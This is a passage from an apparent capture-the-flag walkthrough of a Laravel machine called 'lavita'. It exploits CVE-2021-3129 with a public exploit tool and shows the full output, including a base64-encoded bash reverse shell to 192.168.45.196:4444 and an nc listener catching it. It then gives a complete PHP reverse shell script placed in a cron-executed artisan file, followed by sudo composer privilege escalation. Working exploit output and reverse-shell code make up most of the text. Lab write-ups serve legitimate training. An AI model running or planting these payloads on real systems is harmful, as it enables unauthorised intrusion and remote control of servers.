From the scan, we can see that there is a user called skunk.
When we are running pspy64, we can see that the user is running this once every minute.
Upon inspecting the file, we can see that the file is executing PHP code.
We can also see that we have access to modify the code as we want.
So the next step is to create a PHP webshell, which will trigger the payload. This will be the payload that we will be using. We will create a file called artisan and put this as the content of the file.
Then we will download to the target server.
After a while, we should be able to get a reverse shell as skunk.
Privilege Escalation
Sudo for composer
Since we know skunk can use sudo as the user is in the sudo group, we can just sudo -l to see what command it can run as root.
After some searching online, we can see that this command can be run using sudo get root shell.
We need to put a file called composer.json into that folder. So in this case the folder is /var/www/html/lavita. However, skunk does not have write access to the folder. However, www-data is able to write.
So we will execute this on www-data
Then we will execute composer using sudo from skunk to get root access.
$ python CVE-2021-3129.py
/home/ranay/Desktop/PG/lavita/CVE-2021-3129/CVE-2021-3129.py:10: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
import pkg_resources
_____ _____ ___ __ ___ _ _____ ___ ___
/ __\ \ / / __|_|_ ) \_ ) |__|__ / |_ ) _ \
| (__ \ V /| _|___/ / () / /| |___|_ \ |/ /\_, /
\___| \_/ |___| /___\__/___|_| |___/_/___|/_/
https://github.com/joshuavanderpoll/CVE-2021-3129
[•] Using PHPGGC: https://github.com/ambionics/phpggc
[?] Enter host (e.g. https://example.com/) : http://192.168.158.38
[@] Starting exploit on "http://192.168.158.38/"...
[@] Testing vulnerable URL "http://192.168.158.38/_ignition/execute-solution"...
[√] Host seems vulnerable!
[@] Searching Laravel log file path...
[•] Laravel seems to be running on a Linux based machine.
[√] Laravel log path: "/var/www/html/lavita/storage/logs/laravel.log".
[•] Laravel version found: "8.4.0".
[•] Use "?" for a list of all possible actions.
[?] Please enter a command to execute: ?
[•] Available commands:
exit - Exit program.
help - Shows available commands.
clear_logs - Clears Laravel logs.
execute <command> - Execute system command.
write <text> - Write to log file.
patch <env/index/private> - Patch the vulnerability.
patches - Detailed information about patch modes
[?] Please enter a command to execute: execute ping 192.168.45.196
[@] Executing command "ping 192.168.45.196"...
[@] Generating payload...
[!] Required binary PHPGGC not found.
[@] Downloading PHPGGC from "ambionics/phpggc" GitHub repository...
[√] Downloaded/extracted PHPGGC.
[@] Updating PHPGGC execution permissions...
[√] Updated PHPGGC execution permissions.
PHP Deprecated: Creation of dynamic property Illuminate\Validation\Rules\RequiredIf::$condition is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/8/gadgets.php on line 22
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\BroadcastEvent::$connection is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/9/gadgets.php on line 46
ERROR: Phar requires either a __destruct or a __wakeup vector
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\PendingBroadcast::$event is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/11/gadgets.php on line 22
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\PendingBroadcast::$events is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/11/gadgets.php on line 23
PHP Deprecated: Creation of dynamic property Monolog\LogRecord::$mixed is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Monolog/RCE/8/gadgets.php on line 18
PHP Deprecated: Creation of dynamic property Monolog\LogRecord::$mixed is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Monolog/RCE/9/gadgets.php on line 35
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[√] Result:
[√] Working chain found. You have now access to the 'patch' functionality.
[?] Do you want to try the next chain? [Y/N] : Y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
[?] Please enter a command to execute: execute echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5Ni80NDQ0IDA+JjEn | base64 -d | bash
[@] Executing command "echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQ1LjE5Ni80NDQ0IDA+JjEn | base64 -d | bash"...
[@] Generating payload...
PHP Deprecated: Creation of dynamic property Illuminate\Validation\Rules\RequiredIf::$condition is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/8/gadgets.php on line 22
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\BroadcastEvent::$connection is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/9/gadgets.php on line 46
ERROR: Phar requires either a __destruct or a __wakeup vector
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\PendingBroadcast::$event is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/11/gadgets.php on line 22
PHP Deprecated: Creation of dynamic property Illuminate\Broadcasting\PendingBroadcast::$events is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Laravel/RCE/11/gadgets.php on line 23
PHP Deprecated: Creation of dynamic property Monolog\LogRecord::$mixed is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Monolog/RCE/8/gadgets.php on line 18
PHP Deprecated: Creation of dynamic property Monolog\LogRecord::$mixed is deprecated in /home/ranay/Desktop/PG/lavita/CVE-2021-3129/phpggc-master/gadgetchains/Monolog/RCE/9/gadgets.php on line 35
[√] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[!] Exploit request returned status code 500. Expected 200.
Error: "file_get_contents(): stream filter (convert.quoted-printable-decode): invalid byte sequence"
[!] Failed converting payload.
[!] Failed execution of payload.
Error: "file_get_contents(phar:///var/www/html/lavita/storage/logs/laravel.log): failed to open stream: internal corruption of phar &quot;/var/www/html/lavita/storage/logs/laravel.log&quot; (truncated entry)".
[?] Do you want to try the next chain? [Y/N] : Y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[√] Caused error in logs.
[@] Sending payloads...
[√] Sent payload.
[@] Converting payload...
[√] Converted payload.
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.45.196] from (UNKNOWN) [192.168.158.38] 35096
bash: cannot set terminal process group (593): Inappropriate ioctl for device
bash: no job control in this shell
www-data@debian:/$
#!/usr/bin/env php
<?php
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/
require __DIR__.'/vendor/autoload.php';
$app = require_once __DIR__.'/bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Artisan Application
|--------------------------------------------------------------------------
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
$kernel = $app->make(Illuminate\Contracts\Console\Kernel::class);
$status = $kernel->handle(
$input = new Symfony\Component\Console\Input\ArgvInput,
new Symfony\Component\Console\Output\ConsoleOutput
);
/*
|--------------------------------------------------------------------------
| Shutdown The Application
|--------------------------------------------------------------------------
|
| Once Artisan has finished running, we will fire off the shutdown events
| so that any final work may be done by the application before we shut
| down the process. This is the last thing to happen to the request.
|
*/
$kernel->terminate($input, $status);
exit($status);
<?php
// Copyright (c) 2020 Ivan Sincek
// v2.3
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/bash';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from ${name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to ${name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: " . $status['pid'] . "\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('192.168.45.196', 4446);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>